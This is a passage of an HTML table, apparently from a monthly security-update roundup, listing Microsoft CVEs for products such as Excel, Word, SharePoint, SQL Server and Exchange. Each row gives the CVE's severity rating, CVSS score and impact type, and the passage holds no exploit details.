  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55136"><span>CVE-2026-55136</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55141"><span>CVE-2026-55141</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55036"><span>CVE-2026-55036</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55044"><span>CVE-2026-55044</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55037"><span>CVE-2026-55037</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55058"><span>CVE-2026-55058</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55137"><span>CVE-2026-55137</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55053"><span>CVE-2026-55053</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55131"><span>CVE-2026-55131</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54131"><span>CVE-2026-54131</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55947"><span>CVE-2026-55947</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55949"><span>CVE-2026-55949</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56156"><span>CVE-2026-56156</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55006"><span>CVE-2026-55006</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55009"><span>CVE-2026-55009</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55005"><span>CVE-2026-55005</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56642"><span>CVE-2026-56642</span></a></td>
  <td width="256" class="xl74">Microsoft Fabric Data
  Warehouse Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50343"><span>CVE-2026-50343</span></a></td>
  <td width="256" class="xl74">Microsoft Install
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50439"><span>CVE-2026-50439</span></a></td>
  <td width="256" class="xl74">Microsoft Message
  Queuing Queue Manager Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58537"><span>CVE-2026-58537</span></a></td>
  <td width="256" class="xl74">Microsoft NAT Helper
  Components (ipnathlp.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56193"><span>CVE-2026-56193</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55023"><span>CVE-2026-55023</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55026"><span>CVE-2026-55026</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55027"><span>CVE-2026-55027</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55028"><span>CVE-2026-55028</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55047"><span>CVE-2026-55047</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55035"><span>CVE-2026-55035</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55057"><span>CVE-2026-55057</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl75" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55121"><span>CVE-2026-55121</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55042"><span>CVE-2026-55042</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55139"><span>CVE-2026-55139</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50665"><span>CVE-2026-50665</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56192"><span>CVE-2026-56192</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56195"><span>CVE-2026-56195</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47290"><span>CVE-2026-47290</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50301"><span>CVE-2026-50301</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55017"><span>CVE-2026-55017</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55125"><span>CVE-2026-55125</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55133"><span>CVE-2026-55133</span></a></td>
  <td width="256" class="xl74">Microsoft OneNote
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58636"><span>CVE-2026-58636</span></a></td>
  <td width="256" class="xl74">Microsoft PC Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50438"><span>CVE-2026-50438</span></a></td>
  <td width="256" class="xl74">Microsoft PC Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58647"><span>CVE-2026-58647</span></a></td>
  <td width="256" class="xl74">Microsoft PowerBI
  Report Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55052"><span>CVE-2026-55052</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58277"><span>CVE-2026-58277</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55051"><span>CVE-2026-55051</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54108"><span>CVE-2026-54108</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55016"><span>CVE-2026-55016</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55019"><span>CVE-2026-55019</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55020"><span>CVE-2026-55020</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55021"><span>CVE-2026-55021</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55030"><span>CVE-2026-55030</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55034"><span>CVE-2026-55034</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55126"><span>CVE-2026-55126</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55135"><span>CVE-2026-55135</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56157"><span>CVE-2026-56157</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47296"><span>CVE-2026-47296</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55002"><span>CVE-2026-55002</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47295"><span>CVE-2026-47295</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50468"><span>CVE-2026-50468</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54116"><span>CVE-2026-54116</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42900"><span>CVE-2026-42900</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49784"><span>CVE-2026-49784</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50356"><span>CVE-2026-50356</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49165"><span>CVE-2026-49165</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54993"><span>CVE-2026-54993</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58610"><span>CVE-2026-58610</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55050"><span>CVE-2026-55050</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55124"><span>CVE-2026-55124</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55142"><span>CVE-2026-55142</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55032"><span>CVE-2026-55032</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55055"><span>CVE-2026-55055</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55038"><span>CVE-2026-55038</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55134"><span>CVE-2026-55134</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55128"><span>CVE-2026-55128</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
